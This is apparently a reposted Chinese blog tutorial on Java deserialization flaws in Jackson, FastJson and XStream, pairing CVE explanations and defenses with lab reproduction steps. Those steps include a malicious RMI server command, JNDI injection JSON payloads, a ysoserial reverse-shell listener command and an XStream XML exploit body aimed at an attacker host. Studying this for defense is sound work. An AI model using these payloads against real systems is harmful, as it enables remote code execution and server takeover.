1. 引言:反序列化威胁与 Java 组件安全
在现代 Java 开发中,JSON 和 XML 是最常用的数据交换格式。为了提高开发效率,开发者广泛使用如 Jackson、FastJson 和 XStream 这样的序列化库来处理数据的序列化与反序列化。然而,这种便利性也引入了严重的不安全反序列化风险。根据 OWASP Top 10,不安全反序列化位列第八(A8:2017)和第六(A6:2021,与已知漏洞组件合并),其危害往往导致远程代码执行,让攻击者直接控制服务器。
1.1 漏洞本质:多态与信任边界
这些漏洞的核心在于 反序列化组件在处理数据时,允许或被迫实例化任意类。当攻击者能够控制反序列化数据中的类类型标识(如 @type、@class 或特定的 XML 标签),并利用 JDK 或第三方库中存在的“危险类”(Gadget)时,就可以构造调用链,最终执行恶意代码。常见的攻击手法包括:
-
JNDI 注入:通过 RMI 或 LDAP 协议远程加载恶意类。
-
表达式注入:利用 SpEL 或 OGNL 执行系统命令。
-
内存马注入:在运行时修改内存中的字节码,植入无文件后门。
1.2 靶场环境准备
为了方便复现,建议使用 vulhub 或自行搭建 Docker 环境。本文的复现主要基于以下环境:
-
JDK 版本:1.8.0_291(特定版本对 JNDI 利用有限制,需注意)。
-
靶场:Vulhub 中的
/fastjson、/jackson、/xstream目录。 -
工具:Burp Suite、nc (Netcat)、ysoserial、marshalsec。
2. Jackson 反序列化漏洞深度解析
Jackson 是 Spring Boot 默认的 JSON 解析器,其核心组件 jackson-databind 在处理多态类型(Polymorphic Deserialization)时存在严重的安全缺陷。
2.1 漏洞原理:enableDefaultTyping 与多态
Jackson 的 ObjectMapper 默认只处理具体的 Java 类型。当开发者在代码中启用了 enableDefaultTyping() 或使用 @JsonTypeInfo 注解时,Jackson 会在序列化后的 JSON 中插入 @class 信息。反序列化时,Jackson 会根据 @class 指定的类名进行实例化。攻击者可以构造包含危险类的 JSON,从而触发 RCE。
2.2 经典漏洞:CVE-2017-7525 (JdbcRowSetImpl 链)
这是 Jackson 最经典的 JNDI 注入漏洞。
-
影响版本:
jackson-databind2.6.0 - 2.8.10, 2.9.0 - 2.9.2。 -
利用链:
JdbcRowSetImpl类中的setAutoCommit方法会触发lookup操作,从而加载攻击者指定的 JNDI 服务。
复现步骤:
-
启动 RMI 服务:使用
marshalsec启动一个恶意的 RMI 服务器,绑定一个指向恶意类的引用。bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://{attacker-ip}/#Exploit" 1099 -
编译恶意类:编写
Exploit.java,在其中写入反弹 shell 或弹计算器命令,编译并在 80 端口开启 HTTP 服务。 -
发送 Payload:
json
{ "param": ["com.sun.rowset.JdbcRowSetImpl", { "dataSourceName": "rmi://{attacker-ip}:1099/Exploit", "autoCommit": true }] }注意:在 Jackson 中,通常需要将恶意对象包装在数组中,因为数组的泛型擦除更容易触发多态反序列化 。
2.3 最新漏洞:CVE-2025-49128 (信息泄露)
虽然多数漏洞聚焦 RCE,但信息泄露同样危险。CVE-2025-49128 是一个较新的漏洞,影响 jackson-core 2.0.0 至 2.13.0 版本 。
-
漏洞描述:当使用
JsonFactory.createParser(byte[] data, int offset, int len)解析 JSON 且发生解析错误时,JsonLocation._appendSourceDesc方法会错误地从缓冲区头部读取数据,而不是从偏移量开始。如果使用了 Netty 或 Vert.x 等复用缓冲区的框架,攻击者可以通过发送畸形 JSON 诱导报错,从而窃取缓冲区中残留的上一个请求的敏感数据(如 Token、密码)。 -
修复建议:
-
升级:升级至
jackson-core2.13.0 或更高版本。 -
临时缓解:禁用异常中的源码包含功能。
java
JsonFactory factory = new JsonFactory(); factory.disable(JsonFactory.Feature.INCLUDE_SOURCE_IN_LOCATION);
-
3. FastJson 反序列化漏洞深度解析
FastJson 是阿里巴巴开源的 JSON 解析库,因其高性能而流行,但也因其频繁出现的 autoType 漏洞而被安全界诟病。
3.1 漏洞原理:autoType 与黑名单绕过
FastJson 通过 @type 字段来指定反序列化的具体类。如果开启了 autoType(默认开启),攻击者可以指定任意类。由于无法彻底封禁所有危险类,官方不断更新黑名单,而攻击者则持续寻找绕过方法 。
3.2 核心漏洞:CVE-2025-70974 (1.2.48 之前的绕过)
这是一个 CVSS 评分高达 10.0 的严重漏洞,影响了 1.2.48 及之前的所有版本 。
-
漏洞背景:Fastjson 1.2.24 版本后增加了反序列化白名单,但在 1.2.48 以前,攻击者可以利用特殊构造的 JSON 字符串绕过白名单检测。
-
利用手法:利用
java.lang.Class类将恶意类加载到缓存中,然后绕过autoType检查,进而触发 JNDI 注入或直接实例化恶意类 。
复现步骤(以 1.2.24 版本为例,1.2.48 原理类似,利用链更复杂):
-
基础 Payload:
json
{ "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://{attacker-ip}:1099/Exploit", "autoCommit": true } } -
绕过策略:在高版本中,黑名单限制了
JdbcRowSetImpl。攻击者会寻找新的 Gadget,如com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl(需要开启Feature.SupportNonPublicField)或利用org.apache.tomcat.dbcp.dbcp2.BasicDataSource进行类加载。
3.3 防御与修复
由于 Fastjson 的漏洞修复经常出现“修复-绕过-再修复”的循环,官方已宣布不再维护旧版本,建议采取以下措施:
-
升级版本:升级到 1.2.83 及以上版本(最新安全版本)。对于 1.2.48 之前版本,必须立即升级 。
-
关闭 autoType:在代码中显式禁止
autoType。java
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
-
迁移:考虑切换到 Jackson 或 Gson,并确保其配置安全。
4. XStream 反序列化漏洞深度解析
XStream 用于将 Java 对象序列化为 XML 或反序列化回来。由于 XML 的结构化更强,其反序列化攻击面也非常广,尤其是针对 EventHandler 和动态代理的利用。
4.1 漏洞原理:黑名单不完善与 Converter 机制
XStream 在反序列化 XML 时,通过 Converter 将 XML 标签转换为 Java 对象。历史上,XStream 依赖黑名单机制阻止危险类,但黑名单容易绕过,导致 java.beans.EventHandler 等类被滥用 。
4.2 典型漏洞:CVE-2021-29505
该漏洞影响 XStream 1.4.16 及之前版本,利用 sun.rmi.registry.RegistryImpl_Stub 构造 RMI 请求执行命令 。
-
影响版本:XStream <= 1.4.16。
-
利用链:利用
java.util.PriorityQueue配合动态代理和 RMI 交互。
复现步骤:
-
开启监听:在攻击机上开启 RMI 监听器和反弹 Shell 监听。
bash
# 启动 JRMP 监听,利用 ysoserial 生成 CC6 链 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,{base64_encoded_shell}}|{base64,-d}|{bash,-i}" # 开启 nc 监听 nc -lvvp 6666 -
发送恶意 XML:向目标发送 POST 请求,Body 内容如下:
xml
<java.util.PriorityQueue serialization='custom'> <unserializable-parents/> <java.util.PriorityQueue> <default> <size>2</size> </default> <int>3</int> <javax.naming.ldap.Rdn_-RdnEntry> <type>12345</type> <value class='com.sun.org.apache.xpath.internal.objects.XString'> <m__obj>rmi://{attacker-ip}:1099/Exploit</m__obj> </value> </javax.naming.ldap.Rdn_-RdnEntry> </java.util.PriorityQueue> </java.util.PriorityQueue>(注意:具体的 Payload 可能随 jdk 版本微调,核心是利用
Rdn和XString触发 JNDI 查找 ) -
验证:如果成功,攻击机的 nc 将收到反弹的 shell 。
4.3 历史漏洞演进:CVE-2019-10173
CVE-2019-10173 是一个典型的补丁绕过案例。XStream 在 1.4.7 版本中禁止了 EventHandler 的自动转换(修复了 CVE-2013-7285),但在 1.4.10 版本中,由于未默认调用 setupDefaultSecurity,导致 EventHandler 再次生效,1.4.10 版本的 ReflectionConverter 重新开始处理 EventHandler,导致老洞重现 。
安全修复:
XStream 官方最终在 1.4.11 版本引入了 InternalBlackList,通过白名单机制彻底限制了危险类的加载 。
-
升级:升级到 1.4.20 或更高版本。
-
显式设置:
java
XStream xstream = new XStream(); XStream.setupDefaultSecurity(xstream); xstream.allowTypes(new Class[]{MyTrusted.class}); // 显式允许白名单
5. 对比总结与防御指南
| 组件 | 核心风险点 | 典型漏洞 | 防御难点 | 最佳实践 |
|---|---|---|---|---|
| Jackson | enableDefaultTyping 导致的多态反序列化 | CVE-2017-7525, CVE-2025-49128 | 黑名单绕过,高版本取消默认类型支持 | 禁用 enableDefaultTyping;升级到 2.13+;不暴露异常详情 |
| FastJson | autoType 机制与黑名单逻辑缺陷 | CVE-2025-70974, 1.2.24-1.2.48 系列 | 修复难度大,绕过多,官方已不维护 | 停止使用旧版本;关闭 autoType;迁移至 Jackson 或 Gson |
| XStream | 无限制的 XML 反序列化 & Converter 链 | CVE-2021-29505, CVE-2019-10173 | 默认配置不安全,历史漏洞重复出现 | 升级最新版;必须调用 setupDefaultSecurity;严格配置白名单 |
5.1 通用防御措施
-
升级依赖:这是最直接有效的办法。在 Maven 或 Gradle 中引入
dependency-check插件,实时监控组件版本。 -
输入校验:对反序列化数据来源进行严格的信任边界控制。永远不要反序列化来自不可信源的数据。
-
JVM 参数限制:在 JDK 高版本(如 6u141, 7u131, 8u121 及以上)中,可以通过以下参数限制 JNDI 攻击:
bash
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false -Dcom.sun.jndi.ldap.object.trustURLCodebase=false
-
RASP 防护:部署运行时应用自我保护系统,监控
Runtime.exec或 JNDI lookup 等敏感方法调用。
5.2 应急响应流程
当发现疑似反序列化攻击时:
-
阻断:利用 WAF 或 API 网关阻断包含
@type、@class或特定 Java 包名(如JdbcRowSetImpl)的请求。 -
定位:在应用中搜索
ObjectMapper、JSON.parse、xstream.fromXML的使用点,排查是否使用了危险配置。 -
修复:根据上述修复方案升级组件或修改配置。
6. 结语
Jackson、FastJson 和 XStream 的漏洞史是 Java 安全攻防的一个缩影。从最初的简单 JNDI 注入,到复杂的链式调用、黑名单绕过,再到现在的内存马植入,攻击者的手法不断演进。作为开发者,必须意识到“反序列化不可信数据等同于将系统控制权拱手相让”。
转载自 CSDN-专业IT技术社区
原文链接:https://blog.csdn.net/qq_41581588/article/details/159382258



